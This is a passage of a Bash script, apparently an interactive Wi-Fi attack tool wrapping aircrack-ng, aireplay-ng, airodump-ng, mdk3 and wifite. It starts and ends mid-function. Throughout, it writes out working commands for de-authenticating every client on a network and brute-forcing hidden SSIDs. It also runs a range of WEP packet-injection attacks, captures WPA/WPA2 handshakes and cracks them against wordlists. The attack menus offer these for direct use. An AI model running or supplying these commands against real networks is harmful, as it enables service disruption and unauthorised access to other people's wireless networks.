3588 | ;;
3589 | esac
3590 | ;;
3591 |
3592 | "wpa" | "wpa2")
3593 |
3594 | doSleepMessage "Preparing to Capture WPA Handshake...." "3"
3595 |
3596 | disableChannelHopping
3597 |
3598 | case "$noChannel" in
3599 |
3600 | "0")
3601 | $terminal airodump-ng $interfaceMonitor --bssid $bssid --channel $channel --write "dump_$essid"
3602 | #$terminal airodump-ng -w "$capturePath/$encryptionType/dump_$essid" --bssid $bssid --channel $channel -i $interfaceMonitor &
3603 | ;;
3604 |
3605 | "1")
3606 | $terminal airodump-ng $interfaceMonitor --bssid $bssid --write "dump_$essid"
3607 | #$terminal airodump-ng -w "dump_$essid" --bssid $bssid -i $interfaceMonitor &
3608 |
3609 | #Working (uses session path)
3610 | #$terminal airodump-ng -w "$capturePath/$encryptionType/dump_$essid" --bssid $bssid -i $interfaceMonitor &
3611 | ;;
3612 | esac
3613 | ;;
3614 | esac
3615 |
3616 | echo ""
3617 | echo ""
3618 |
3619 | }
3620 |
3621 |
3622 | aircrackDecrypt(){
3623 |
3624 | currentTask="aircrackDecrypt"
3625 |
3626 | sessionCopyNewCaptureFiles
3627 |
3628 | case "$encryptionType" in
3629 |
3630 | "wep")
3631 | aircrackDecryptWEP
3632 | ;;
3633 |
3634 | "wpa")
3635 | aircrackDecryptWPA
3636 | ;;
3637 |
3638 | "wpa2")
3639 | aircrackDecryptWPA2
3640 | ;;
3641 |
3642 | esac
3643 |
3644 | }
3645 |
3646 |
3647 | adAPScan(){
3648 |
3649 | currentTask="adAPScan"
3650 |
3651 | echo ""
3652 |
3653 | banner
3654 |
3655 | rm "$defaultScanOutputIVS"
3656 | rm "$defaultScanOutputXML"
3657 |
3658 | #$terminal airodump-ng --channel $channel -i $interfaceMonitor &
3659 | #$terminal airodump-ng --ignore-negative-one --channel $channel -i $interfaceMonitor &
3660 |
3661 | $terminal airodump-ng --channel $channel --encrypt $encryptionType -i $interfaceMonitor -w "$initPath/apScan" --write-interval 10 -o netxml &
3662 |
3663 | #$terminal airodump-ng --channel $channel --encrypt $encryptionType -i $interfaceMonitor &
3664 | #read pause
3665 |
3666 | echo ""
3667 | echo ""
3668 |
3669 | }
3670 |
3671 |
3672 | # Unused Function (20170103)
3673 | adAPScanWPS(){
3674 |
3675 | currentTask="adAPScanWPS"
3676 |
3677 | echo ""
3678 | echo ""
3679 |
3680 | $terminal airodump-ng --channel $channel -i $interfaceMonitor --wps &
3681 |
3682 | #$terminal airodump-ng --channel $channel --encrypt $encryptionType -i $interfaceMonitor --$encryptionType&
3683 |
3684 | echo ""
3685 | echo ""
3686 |
3687 | }
3688 |
3689 |
3690 | adAPScanWifiteWPS(){
3691 |
3692 | currentTask="adAPScanWifiteWPS"
3693 |
3694 | echo ""
3695 | echo ""
3696 |
3697 | $terminal $wifiteAttackWPS -c $channel -i $interfaceMonitor &
3698 |
3699 | echo ""
3700 | echo ""
3701 |
3702 | }
3703 |
3704 |
3705 | adAPScanWifiteWEP(){
3706 |
3707 | currentTask="adAPScanWifiteWEP"
3708 |
3709 | echo ""
3710 | echo ""
3711 |
3712 | $terminal $wifiteAttackWEP -c $channel -i $interfaceMonitor &
3713 |
3714 | echo ""
3715 | echo ""
3716 |
3717 | }
3718 |
3719 |
3720 | adAPScanNoChannel(){
3721 |
3722 | currentTask="adAPScanNoChannel"
3723 |
3724 | echo ""
3725 |
3726 | banner
3727 |
3728 | rm "$defaultScanOutputIVS"
3729 | rm "$defaultScanOutputXML"
3730 |
3731 | #$terminal airodump-ng -i $interfaceMonitor &
3732 | #$terminal airodump-ng --ignore-negative-one -i $interfaceMonitor &
3733 |
3734 | $terminal airodump-ng --encrypt $encryptionType -i $interfaceMonitor -w "$initPath/apScan" --write-interval 10 -o netxml &
3735 |
3736 | #$terminal airodump-ng --encrypt $encryptionType -i $interfaceMonitor &
3737 | #read pause
3738 |
3739 | echo ""
3740 | echo ""
3741 |
3742 | }
3743 |
3744 |
3745 | adAPScanNoChannelWPS(){
3746 |
3747 | currentTask="adAPScanNoChannelWPS"
3748 |
3749 | echo ""
3750 |
3751 | banner
3752 |
3753 | rm "$defaultScanOutputIVS"
3754 | rm "$defaultScanOutputXML"
3755 |
3756 | $terminal airodump-ng -i $interfaceMonitor --wps -w "$initPath/apScan" --write-interval 10 -o netxml &
3757 |
3758 | #$terminal airodump-ng -i $interfaceMonitor --wps &
3759 |
3760 | #$terminal airodump-ng --encrypt $encryptionType -i $interfaceMonitor --$encryptionType&
3761 |
3762 | echo ""
3763 | echo ""
3764 |
3765 | }
3766 |
3767 |
3768 | adAPScanWifiteWPSNoChannel(){
3769 |
3770 | currentTask="adAPScanWifiteWPSNoChannel"
3771 |
3772 | echo ""
3773 | echo ""
3774 |
3775 | $terminal $wifiteAttackWPS -i $interfaceMonitor &
3776 |
3777 | echo ""
3778 | echo ""
3779 |
3780 | }
3781 |
3782 |
3783 | adAPScanWifiteWEPNoChannel(){
3784 |
3785 | currentTask="adAPScanWifiteWEPNoChannel"
3786 |
3787 | echo ""
3788 | echo ""
3789 |
3790 | $terminal $wifiteAttackWEP -i $interfaceMonitor &
3791 |
3792 | echo ""
3793 | echo ""
3794 |
3795 | }
3796 |
3797 |
3798 | bruteForceHiddenSSID(){
3799 |
3800 | currentTask="bruteForceHiddenSSID"
3801 |
3802 | adAPScanNoChannel
3803 |
3804 | banner
3805 | echo ""
3806 | $green
3807 | echo "Using Interface: $interfaceMonitor"
3808 | echo ""
3809 | echo ""
3810 | echo ""
3811 | echo ""
3812 | $cyan
3813 | echo "Use the airodump window to find your target"
3814 | echo ""
3815 | echo "Example Hidden: 01:02:03:04:05:06 "
3816 | echo ""
3817 | echo ""
3818 | echo ""
3819 | echo ""
3820 | $white
3821 | echo "Type Target BSSID and Press ENTER:"
3822 | echo ""
3823 |
3824 | read targetBSSID
3825 |
3826 | case "$targetBSSID" in
3827 |
3828 | *)
3829 | banner
3830 | echo ""
3831 | $cyan
3832 | mdk3 $interfaceMonitor p -t $targetBSSID -b -s 300
3833 | echo ""
3834 | echo ""
3835 | ;;
3836 |
3837 | esac
3838 |
3839 | $green
3840 | echo ""
3841 | echo ""
3842 | echo ""
3843 | echo "***************************************"
3844 | echo "Bruteforcing Finished!"
3845 | echo "***************************************"
3846 | echo ""
3847 | echo ""
3848 | echo "Check Above For Possible Hidden SSID Reveals"
3849 | echo ""
3850 | echo ""
3851 | echo ""
3852 | echo ""
3853 | echo "Press ENTER To Continue When Finished...."
3854 | echo ""
3855 | read finishBrute
3856 |
3857 | }
3858 |
3859 |
3860 | ############################################################################
3861 | # ATTACKS: GLOBAL END ##################################################
3862 | ############################################################################
3863 |
3864 |
3865 |
3866 |
3867 |
3868 | ############################################################################
3869 | # ATTACKS: WEP BEGIN ###################################################
3870 | ############################################################################
3871 |
3872 |
3873 | autoModeNoPreviousSessionWEP(){
3874 |
3875 | currentTask="autoModeNoPreviousSessionWEP"
3876 |
3877 | adAPScanNoChannel
3878 |
3879 | doSleepMessage "Setting Up User Input...." "2"
3880 |
3881 | getESSID
3882 | getBSSID
3883 | getChannel
3884 |
3885 | sessionWriteBeginNew
3886 | sessionCopyNewCaptureFiles
3887 |
3888 | doSleepMessage "Killing airodump-ng Sessions...." "2"
3889 |
3890 | killAirodump
3891 | killWifite
3892 |
3893 | doSleepMessage "Preparing Client Association...." "2"
3894 |
3895 | arAssociate
3896 | #sleep 10
3897 | #killAireplay
3898 |
3899 | doSleepMessage "Preparing airodump-ng Session...." "2"
3900 |
3901 | adFileDump
3902 | menuAttacksWEP
3903 |
3904 | }
3905 |
3906 |
3907 | autoModeUsePreviousSessionWEP(){
3908 |
3909 | currentTask="autoModeUsePreviousSessionWEP"
3910 |
3911 | sessionWriteLoadPrevious
3912 |
3913 | doSleepMessage "Preparing Client Association...." "2"
3914 |
3915 | arAssociate
3916 |
3917 | doSleepMessage "Preparing airodump-ng Session...." "2"
3918 |
3919 | adFileDump
3920 |
3921 | menuAttacksWEP
3922 |
3923 | }
3924 |
3925 |
3926 | menuAttacksWEP(){
3927 |
3928 | currentTask="menuAttacksWEP"
3929 | lastMenuID="menuAttacksWEP"
3930 |
3931 | sessionCopyNewCaptureFiles
3932 |
3933 |
3934 | banner
3935 | bannerStats
3936 |
3937 | echo ""
3938 | echo "Choose an attack to perform and press ENTER (Type \"more\" to see other options):"
3939 | echo ""
3940 | echo ""
3941 | echo "1) De-Auth (De-Authenticate All Stations) (0=Constant)"
3942 | echo "2) Fake Auth (Fake Authentication with AP)"
3943 | echo "3) Interactive Attack (Interactive Frame Selection)"
3944 | echo "4) ARP Replay (Standard ARP Request Replay)"
3945 | echo "5) ChopChop Atack (Decrypt WEP Packets)"
3946 | echo "6) Fragment Attack (Generates a Valid Keystream)"
3947 | echo "7) Caffe-Latte Attack (Query Client for New IV's)"
3948 | echo "8) C-Frag (Fragments Against a Client)"
3949 | echo "9) MigMode (Attacks WPA Migration Mode)"
3950 | echo ""
3951 | echo "R) Re-Associate (Associate with Client)"
3952 | echo "N) Start New Capture (Log to a new CAP file)"
3953 | echo "T) Test (Tests Injection and Quality)"
3954 | echo ""
3955 | echo "C) Run Aircrack (Crack WEP Key) **If decryption fails, press ENTER from aircrack to return here**"
3956 | echo ""
3957 |
3958 | read getAttackWEP
3959 |
3960 | hotkeyInput="$getAttackWEP"
3961 |
3962 | loadMenuHotkeys "$hotkeyInput"
3963 |
3964 | case "$getAttackWEP" in
3965 |
3966 | "")
3967 | menuAttacksWEP
3968 | ;;
3969 |
3970 | "C" | "c")
3971 | aircrackDecrypt
3972 | ;;
3973 |
3974 | "R" | "r")
3975 | arAssociate
3976 | ;;
3977 |
3978 | "T" | "t")
3979 | arAttackTest
3980 | ;;
3981 |
3982 | "N" | "n")
3983 | killAirodump
3984 | killAireplay
3985 | adFileDump
3986 | ;;
3987 |
3988 | "0")
3989 | arAttackDeAuthConstant
3990 | ;;
3991 |
3992 | "1")
3993 | arAttackDeAuth
3994 | ;;
3995 |
3996 | "2")
3997 | arAttackFakeAuth
3998 | ;;
3999 |
4000 | "3")
4001 | arAttackInteractive
4002 | ;;
4003 |
4004 | "4")
4005 | arAttackArpReplay
4006 | ;;
4007 |
4008 | "5")
4009 | arAttackChopChop
4010 | ;;
4011 |
4012 | "6")
4013 | arAttackFragment
4014 | ;;
4015 |
4016 | "7")
4017 | arAttackCaffeLatte
4018 | ;;
4019 |
4020 | "8")
4021 | arAttackCfrag
4022 | ;;
4023 |
4024 | "9")
4025 | arAttackMigMode
4026 | ;;
4027 |
4028 | "more")
4029 | banner
4030 | bannerStats
4031 |
4032 | echo ""
4033 | echo "Choose an option and press ENTER:"
4034 | echo ""
4035 | echo ""
4036 | echo "1) TCP Dump"
4037 | echo ""
4038 | echo "2) Generate ARP Packet"
4039 | echo ""
4040 | echo "3) Forge ARP Request"
4041 | echo ""
4042 | echo "4) Replay Forged ARP Request"
4043 | echo ""
4044 | echo ""
4045 | echo ""
4046 | echo ""
4047 | echo ""
4048 | echo ""
4049 | echo ""
4050 | echo "R) Return To Previous Page"
4051 | echo ""
4052 | echo ""
4053 |
4054 | read getMore
4055 |
4056 | hotkeyInput="$getMore"
4057 |
4058 | loadMenuHotkeys "$hotkeyInput"
4059 |
4060 | case "$getMore" in
4061 |
4062 | "")
4063 | menuAttacksWEP
4064 | ;;
4065 |
4066 | "1")
4067 | # Needs .cap as INPUT
4068 | #tcpDump ""
4069 | tcpDump "$initPath/$bssid-arp.cap"
4070 | ;;
4071 |
4072 | "2")
4073 | generateArpPacket
4074 | ;;
4075 |
4076 | "3")
4077 | # Needs .xor as INPUT
4078 | #forgeArpRequest ""
4079 | getXorFile=$(ls | grep xor | grep $essid)
4080 | forgeArpRequest "$getXorFile" "$initPath/$bssid-arp.cap"
4081 | ;;
4082 |
4083 | "4")
4084 | # Needs .cap as INPUT (Using Default From forgeArpRequest)
4085 | replayArpRequest
4086 | ;;
4087 |
4088 | "R" | "r")
4089 | menuAttacksWEP
4090 | ;;
4091 |
4092 | esac
4093 | ;;
4094 |
4095 |
4096 | *)
4097 | menuAttacksWEP
4098 | ;;
4099 |
4100 | esac
4101 |
4102 | menuAttacksWEP
4103 |
4104 | }
4105 |
4106 |
4107 | menuAttacksWEPWifiteAuto(){
4108 |
4109 | currentTask="menuAttacksWEPWifiteAuto"
4110 | lastMenuID="menuAttacksWEPWifiteAuto"
4111 |
4112 | killAll
4113 |
4114 | #$terminal $wifiteAttackWEP -c $channel -b $bssid -e $essid -wepsave -wepca 5000 &
4115 | $terminal $wifiteAttackWEP -wepsave "$initPath" -wepca 5000 &
4116 |
4117 | banner
4118 | bannerStats
4119 |
4120 | echo ""
4121 | echo "The wifite session should be launched in a separate window."
4122 | echo ""
4123 | echo "PRESS ENTER ONLY WHEN THE SESSION HAS FINISHED!"
4124 | echo ""
4125 | echo "AS SOON AS ENTER IS PRESSED THE WIFITE SESSION WILL BE RESET!"
4126 | echo ""
4127 |
4128 | read pause
4129 |
4130 | sessionCopyNewCaptureFiles
4131 |
4132 | killAll
4133 | menuAuto
4134 |
4135 | }
4136 |
4137 |
4138 | arAssociate(){
4139 |
4140 | currentTask="arAssociate"
4141 |
4142 | echo ""
4143 | echo ""
4144 |
4145 | $terminal aireplay-ng -1 6000 -e $essid -a $bssid -h $macAddressMonitor $interfaceMonitor &
4146 |
4147 | echo ""
4148 | echo ""
4149 |
4150 | }
4151 |
4152 |
4153 | arAttackDeAuth(){
4154 |
4155 | currentTask="arAttackDeAuth"
4156 |
4157 | retryDeauth="0"
4158 |
4159 | doSleepMessage "Preparing to De-Authenticate All Connected Stations...." "2"
4160 |
4161 | $terminal aireplay-ng --deauth 5 -a $bssid $interfaceMonitor &
4162 |
4163 | doSleepMessage "De-Authenticating All Connected Stations...." "5"
4164 |
4165 | }
4166 |
4167 |
4168 | arAttackDeAuthConstant(){
4169 |
4170 | currentTask="arAttackDeAuthConstant"
4171 |
4172 | retryDeauth="0"
4173 |
4174 | doSleepMessage "De-Authenticating All Connected Stations...." "2"
4175 |
4176 | $terminal aireplay-ng --deauth 0 -a $bssid $interfaceMonitor &
4177 |
4178 | }
4179 |
4180 |
4181 | arAttackFakeAuth(){
4182 |
4183 | currentTask="arAttackFakeAuth"
4184 |
4185 | #$terminal aireplay-ng -1 1 -a $bssid -h $macAddressMonitor -e "$essid" $interfaceMonitor &
4186 | $terminal aireplay-ng -1 0 -a $bssid -h $macAddressMonitor -e "$essid" $interfaceMonitor &
4187 |
4188 | # Alt
4189 | #$terminal aireplay-ng -1 6000 -o 1 -q 10 -a $bssid -h $macAddressMonitor -e "$essid" $interfaceMonitor &
4190 |
4191 | }
4192 |
4193 |
4194 | arAttackInteractive(){
4195 |
4196 | currentTask="arAttackInteractive"
4197 |
4198 | $terminal aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -a $bssid -h $macAddressMonitor $interfaceMonitor &
4199 |
4200 | }
4201 |
4202 |
4203 | arAttackArpReplay(){
4204 |
4205 | currentTask="arAttackArpReplay"
4206 |
4207 | $terminal aireplay-ng -3 -e $essid -b $bssid -h $macAddressMonitor $interfaceMonitor &
4208 |
4209 | }
4210 |
4211 |
4212 | arAttackChopChop(){
4213 |
4214 | currentTask="arAttackChopChop"
4215 |
4216 | #$terminal aireplay-ng -4 -a $bssid -h $macAddressMonitor $interfaceMonitor &
4217 | $terminal aireplay-ng -4 -h $macAddressMonitor -b $bssid $interfaceMonitor &
4218 |
4219 | # Unauthenticated Method
4220 | #$terminal aireplay-ng -4 -b $bssid $interfaceMonitor &
4221 |
4222 | }
4223 |
4224 |
4225 | arAttackFragment(){
4226 |
4227 | currentTask="arAttackFragment"
4228 |
4229 | $terminal aireplay-ng -5 -e $essid -b $bssid -h $macAddressMonitor $interfaceMonitor &
4230 |
4231 | }
4232 |
4233 |
4234 | arAttackCaffeLatte(){
4235 |
4236 | currentTask="arAttackCaffeLatte"
4237 |
4238 | $terminal aireplay-ng -6 -e $essid -b $bssid -h $macAddressMonitor $interfaceMonitor &
4239 |
4240 | }
4241 |
4242 |
4243 | arAttackCfrag(){
4244 |
4245 | currentTask="arAttackCfrag"
4246 |
4247 | $terminal aireplay-ng -7 -e $essid -b $bssid -h $macAddressMonitor $interfaceMonitor &
4248 |
4249 | }
4250 |
4251 |
4252 | arAttackMigMode(){
4253 |
4254 | currentTask="arAttackMigMode"
4255 |
4256 | $terminal aireplay-ng -8 -e $essid -b $bssid -h $macAddressMonitor $interfaceMonitor &
4257 |
4258 | }
4259 |
4260 |
4261 | arAttackTest(){
4262 |
4263 | currentTask="arAttackTest"
4264 |
4265 | $terminal aireplay-ng -9 -e $essid -a $bssid -h $macAddressMonitor $interfaceMonitor &
4266 |
4267 | }
4268 |
4269 | aircrackDecryptWEP(){
4270 |
4271 | currentTask="aircrackDecryptWEP"
4272 |
4273 | banner
4274 | bannerStats
4275 |
4276 | echo ""
4277 | echo "Preparing capture files for aircrack-ng...."
4278 | echo ""
4279 | echo ""
4280 |
4281 | findCaptureFiles
4282 |
4283 | #echo "$listCap"
4284 | #echo "$listIvs"
4285 | #read pause
4286 |
4287 | killAircrack
4288 |
4289 | aircrack-ng -a $acMode -e "$essid" -b $bssid -l "key_$essid" $listCap $listIvs&
4290 | #aircrack-ng -e "$essid" -b $bssid -l "key_$essid" *.cap *.ivs&
4291 | #aircrack-ng -l "key_$essid" *.cap *.ivs&
4292 | #'aircrack-ng' " -l" "$capturePath/$encryptionType/key_$essid" "$capturePath/$encryptionType/*.cap" "$capturePath/$encryptionType/*.ivs"&
4293 |
4294 | # Killing aircrack-ng to stop auto-checking from overlapping WEP Attack menu
4295 | killAircrack
4296 |
4297 | #echo ""
4298 | #echo ""
4299 | #echo ""
4300 | #echo "FOUND KEY: "
4301 | echo ""
4302 | echo ""
4303 | echo ""
4304 | echo "Press ENTER to return to Attacks Menu...."
4305 | echo ""
4306 | echo ""
4307 |
4308 | read acPause
4309 |
4310 | menuAttacksWEP
4311 |
4312 | }
4313 |
4314 |
4315 | ############################################################################
4316 | # ATTACKS: WEP END #####################################################
4317 | ############################################################################
4318 |
4319 |
4320 |
4321 |
4322 |
4323 | ############################################################################
4324 | # ATTACKS: WPA BEGIN ###################################################
4325 | ############################################################################
4326 |
4327 |
4328 | autoModeNoPreviousSessionWPA(){
4329 |
4330 | currentTask="autoModeNoPreviousSessionWPA"
4331 |
4332 | adAPScanNoChannel
4333 |
4334 | doSleepMessage "Setting Up User Input...." "2"
4335 |
4336 | getESSID
4337 | getBSSID
4338 | getChannel
4339 |
4340 | sessionWriteBeginNew
4341 | sessionCopyNewCaptureFiles
4342 |
4343 | doSleepMessage "Killing Airodump Window...." "2"
4344 |
4345 |
4346 | killAirodump
4347 |
4348 |
4349 | menuAttacksWPA
4350 |
4351 | echo ""
4352 | echo ""
4353 | echo "Press any key to continue...."
4354 | echo ""
4355 | echo ""
4356 |
4357 | read pause
4358 |
4359 | }
4360 |
4361 |
4362 | autoModeUsePreviousSessionWPA(){
4363 |
4364 | currentTask="autoModeUsePreviousSessionWPA"
4365 |
4366 | sessionWriteLoadPrevious
4367 |
4368 | menuAttacksWPA
4369 |
4370 |
4371 | echo ""
4372 | echo ""
4373 | echo "Press any key to continue...."
4374 | echo ""
4375 | echo ""
4376 |
4377 | read pause
4378 |
4379 | }
4380 |
4381 |
4382 | menuAttacksWPA(){
4383 |
4384 | currentTask="menuAttacksWPA"
4385 |
4386 | banner
4387 | bannerStats
4388 |
4389 | # Only run a deauth with default text and settings if not re-forced through menu
4390 | case "$retryDeauth" in
4391 |
4392 | "0")
4393 | killAll
4394 |
4395 | adFileDump
4396 |
4397 | doSleepMessage "Preparing to Capture WPA Handshake...." "2"
4398 |
4399 | arAttackDeAuth
4400 | captureHandshakeWPA
4401 | ;;
4402 |
4403 | "1")
4404 | doSleepMessage "Preparing to De-Authenticate All Connected Stations...." "1"
4405 | arAttackDeAuth
4406 | captureHandshakeWPA
4407 | ;;
4408 | esac
4409 |
4410 | }
4411 |
4412 |
4413 | aircrackDecryptWPA(){
4414 |
4415 | currentTask="aircrackDecryptWPA"
4416 | lastMenuID="aircrackDecryptWPA"
4417 |
4418 | banner
4419 | bannerStats
4420 |
4421 | doSleepMessage "Preparing captured handshake for aircrack-ng...." "4"
4422 |
4423 | banner
4424 | bannerStats
4425 |
4426 | echo ""
4427 | echo "You need a wordlist to crack the key!"
4428 | echo ""
4429 | echo "Current List Loaded:"
4430 | echo ""
4431 | $green
4432 | echo "$wordlist"
4433 | $white
4434 | echo ""
4435 | echo "You may press C and ENTER to load a custom list"
4436 | echo ""
4437 | echo ""
4438 | echo "Another Example Wordlist Collection:"
4439 | echo "https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm"
4440 | echo ""
4441 | echo ""
4442 | echo "You may also press B and ENTER to run a besside-ng attack"
4443 | echo ""
4444 | echo ""
4445 | echo "Press ENTER once you have a valid wordlist ready!"
4446 | echo ""
4447 | echo ""
4448 |
4449 | read tmpPause
4450 |
4451 | hotkeyInput="$tmpPause"
4452 |
4453 | loadMenuHotkeys "$hotkeyInput"
4454 |
4455 | case "$tmpPause" in
4456 |
4457 | "")
4458 | $terminal aircrack-ng -w "$wordlist" -b $bssid *.cap
4459 | ;;
4460 |
4461 | "C" | "c")
4462 | getCustomList
4463 | ;;
4464 |
4465 | "B" | "b")
4466 | bessideMain
4467 | ;;
4468 |
4469 | esac
4470 |
4471 | banner
4472 | bannerStats
4473 |
4474 | #echo ""
4475 | #echo ""
4476 | #echo ""
4477 | #echo "FOUND KEY: "
4478 | echo ""
4479 | echo "WPA Attack Is Currently Running!"
4480 | echo ""
4481 | echo ""
4482 | echo ""
4483 | echo ""
4484 | echo ""
4485 | echo ""
4486 | echo ""
4487 | $red
4488 | echo "*** WARNING! RESTARTING THE ATTACK WILL ALSO TERMINATE THE AIRCRACK WINDOW! ***"
4489 | echo ""
4490 | echo ""
4491 | $white
4492 | echo "Press ENTER to restart attack or use an option from Top Navigation Bar...."
4493 | echo ""
4494 | echo ""
4495 | $red
4496 | echo "*** WARNING! RESTARTING THE ATTACK WILL ALSO TERMINATE THE AIRCRACK WINDOW! ***"
4497 | $white
4498 | echo ""
4499 | echo ""
4500 |
4501 | read acPause
4502 |
4503 | hotkeyInput="$acPause"
4504 |
4505 | loadMenuHotkeys "$hotkeyInput"
4506 |
4507 | case "$acPause" in
4508 |
4509 | "")
4510 | killAll
4511 | menuAttacksWPA
4512 | ;;
4513 |
4514 | esac
4515 |
4516 | }
4517 |
4518 |
4519 | captureHandshakeWPA(){
4520 |
4521 | currentTask="captureHandshakeWPA"
4522 | lastMenuID="captureHandshakeWPA"
4523 |
4524 | banner
4525 | bannerStats
4526 |
4527 | echo ""
4528 | echo "The airodump window is open. Look in top right hand corner for the handshake"
4529 | echo ""
4530 | echo "Once handshake is complete, you may close the airodump window."
4531 | echo ""
4532 | echo ""
4533 | $green
4534 | echo "Example: [ WPA handshake: $bssid ]"
4535 | $white
4536 | echo ""
4537 | echo ""
4538 | echo ""
4539 | echo "To force another DEAUTH for HANDSHAKE press D and ENTER!"
4540 | echo ""
4541 | echo ""
4542 | echo ""
4543 | echo ""
4544 | echo "Press ENTER to continue once handshake is made...."
4545 | echo ""
4546 | echo ""
4547 |
4548 | read captureHandshake
4549 |
4550 | hotkeyInput="$captureHandshake"
4551 |
4552 | loadMenuHotkeys "$hotkeyInput"
4553 |
4554 | case "$captureHandshake" in
4555 |
4556 | "")
4557 | killAirodump
4558 | killAireplay
4559 |
4560 | doSleepMessage "Preparing capture files for aircrack-ng...." "2"
4561 |
4562 | aircrackDecrypt
4563 | ;;
4564 |
4565 | "D" | "d")
4566 | retryDeauth="1"
4567 | menuAttacksWPA
4568 | ;;
4569 |
4570 | *)
4571 | menuAttacksWPA
4572 | ;;
4573 |
4574 | esac
4575 |
4576 | }
4577 |
4578 |
4579 | menuAttacksWPAWifiteAuto(){
4580 |
4581 | currentTask="menuAttacksWPAWifiteAuto"
4582 | lastMenuID="menuAttacksWPAWifiteAuto"
4583 |
4584 | killAll
4585 |
4586 | #$terminal $wifiteAttackWEP -c $channel -b $bssid -e $essid -wepsave -wepca 1000 &
4587 | $terminal $wifiteAttackWPA &
4588 |
4589 | banner
4590 | bannerStats
4591 |
4592 | echo ""
4593 | echo "The wifite session should be launched in a separate window."
4594 | echo ""
4595 | echo ""
4596 | echo ""
4597 | echo ""
4598 | echo "PRESS ENTER ONLY WHEN THE SESSION HAS FINISHED!"
4599 | echo ""
4600 | echo "AS SOON AS ENTER IS PRESSED THE WIFITE SESSION WILL BE RESET!"
4601 | echo ""
4602 |
4603 | read pause
4604 |
4605 | sessionCopyNewCaptureFiles
4606 |
4607 | killAll
4608 | menuAuto
4609 |
4610 | }
4611 |
4612 |
4613 | ############################################################################
4614 | # ATTACKS: WPA END #####################################################
4615 | ############################################################################
4616 |
4617 |
4618 |
4619 |
4620 |
4621 | ############################################################################
4622 | # ATTACKS: WPA2 BEGIN ##################################################
4623 | ############################################################################
4624 |
4625 |
4626 | autoModeNoPreviousSessionWPA2(){
4627 |
4628 | currentTask="autoModeNoPreviousSessionWPA2"
4629 |
4630 | adAPScanNoChannel
4631 |
4632 | doSleepMessage "Setting Up User Input...." "2"
4633 |
4634 | getESSID
4635 | getBSSID
4636 | getChannel
4637 |
4638 | sessionWriteBeginNew
4639 | sessionCopyNewCaptureFiles
4640 |
4641 | doSleepMessage "Killing Airodump Window...." "2"
4642 |
4643 |
4644 | killAirodump
4645 |
4646 | menuAttacksWPA2
4647 |
4648 | echo ""
4649 | echo ""
4650 | echo "Press any key to continue...."
4651 | echo ""
4652 | echo ""
4653 |
4654 | read pause
4655 |
4656 | }
4657 |
4658 |
4659 | autoModeUsePreviousSessionWPA2(){
4660 |
4661 | currentTask="autoModeUsePreviousSessionWPA2"
4662 |
4663 | sessionWriteLoadPrevious
4664 |
4665 | menuAttacksWPA2
4666 |
4667 | echo ""
4668 | echo ""
4669 | echo "Press any key to continue...."
4670 | echo ""
4671 | echo ""
4672 |
4673 | read pause
4674 |
4675 | }
4676 |
4677 |
4678 | menuAttacksWPA2(){
4679 |
4680 | currentTask="menuAttacksWPA2"
4681 |
4682 | banner
4683 | bannerStats
4684 |
4685 | # Only run a deauth with default text and settings if not re-forced through menu
4686 | case "$retryDeauth" in
4687 |
4688 | "0")
4689 | killAll
4690 |
4691 | adFileDump
4692 |
4693 | doSleepMessage "Preparing to Capture WPA Handshake...." "2"
4694 |
4695 | arAttackDeAuth
4696 | captureHandshakeWPA2
4697 | ;;
4698 |
4699 | "1")
4700 | doSleepMessage "Preparing to De-Authenticate All Connected Stations...." "1"
4701 | arAttackDeAuth
4702 | captureHandshakeWPA2
4703 | ;;
4704 | esac
4705 |
4706 | }
4707 |
4708 |
4709 | aircrackDecryptWPA2(){
4710 |
4711 | currentTask="aircrackDecryptWPA2"
4712 | lastMenuID="aircrackDecryptWPA2"
4713 |
4714 | banner
4715 | bannerStats
4716 |
4717 | doSleepMessage "Preparing captured handshake for aircrack-ng...." "4"
4718 |
4719 | banner
4720 | bannerStats
4721 |
4722 | echo ""
4723 | echo "You need a wordlist to crack the key!"
4724 | echo ""
4725 | echo "Current List Loaded:"
4726 | echo ""
4727 | $green
4728 | echo "$wordlist"
4729 | $white
4730 | echo ""
4731 | echo "You may press C and ENTER to load a custom list"
4732 | echo ""
4733 | echo ""
4734 | echo "Another Example Wordlist Collection:"
4735 | echo "https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm"
4736 | echo ""
4737 | echo ""
4738 | echo "You may also press B and ENTER to run a besside-ng attack"
4739 | echo ""
4740 | echo ""
4741 | echo "Press ENTER once you have a valid wordlist ready!"
4742 | echo ""
4743 | echo ""
4744 |
4745 | read tmpPause
4746 |
4747 | hotkeyInput="$tmpPause"
4748 |
4749 | loadMenuHotkeys "$hotkeyInput"
4750 |
4751 | case "$tmpPause" in
4752 |
4753 | "")
4754 | $terminal aircrack-ng -w "$wordlist" -b $bssid *.cap
4755 | ;;
4756 |
4757 | "C" | "c")
4758 | getCustomList
4759 | ;;
4760 |
4761 | "B" | "b")
4762 | bessideMain
4763 | ;;
4764 |
4765 | esac
4766 |
4767 | banner
4768 | bannerStats
4769 |
4770 | #echo ""
4771 | #echo ""
4772 | #echo ""
4773 | #echo "FOUND KEY: "
4774 | echo ""
4775 | echo "WPA2 Attack Is Currently Running!"
4776 | echo ""
4777 | echo ""
4778 | echo ""
4779 | echo ""
4780 | echo ""
4781 | echo ""
4782 | echo ""
4783 | $red
4784 | echo "*** WARNING! RESTARTING THE ATTACK WILL ALSO TERMINATE THE AIRCRACK WINDOW! ***"
4785 | echo ""
4786 | echo ""
4787 | $white
4788 | echo "Press ENTER to restart attack or use an option from Top Navigation Bar...."
4789 | echo ""
4790 | echo ""
4791 | $red
4792 | echo "*** WARNING! RESTARTING THE ATTACK WILL ALSO TERMINATE THE AIRCRACK WINDOW! ***"
4793 | $white
4794 | echo ""
4795 | echo ""
4796 |
4797 | read acPause
4798 |
4799 | hotkeyInput="$acPause"
4800 |
4801 | loadMenuHotkeys "$hotkeyInput"
4802 |
4803 | case "$acPause" in
4804 |
4805 | "")
4806 | killAll
4807 | menuAttacksWPA2
4808 | ;;
4809 |
4810 | esac
4811 |
4812 | }
4813 |
4814 |
4815 | captureHandshakeWPA2(){
4816 |
4817 | currentTask="captureHandshakeWPA2"
4818 | lastMenuID="captureHandshakeWPA2"
4819 |
4820 | banner
4821 | bannerStats
4822 |
4823 | echo ""
4824 | echo "The airodump window is open. Look in top right hand corner for the handshake"
4825 | echo ""
4826 | echo "Once handshake is complete, you may close the airodump window."
4827 | echo ""
4828 | echo ""
4829 | $green
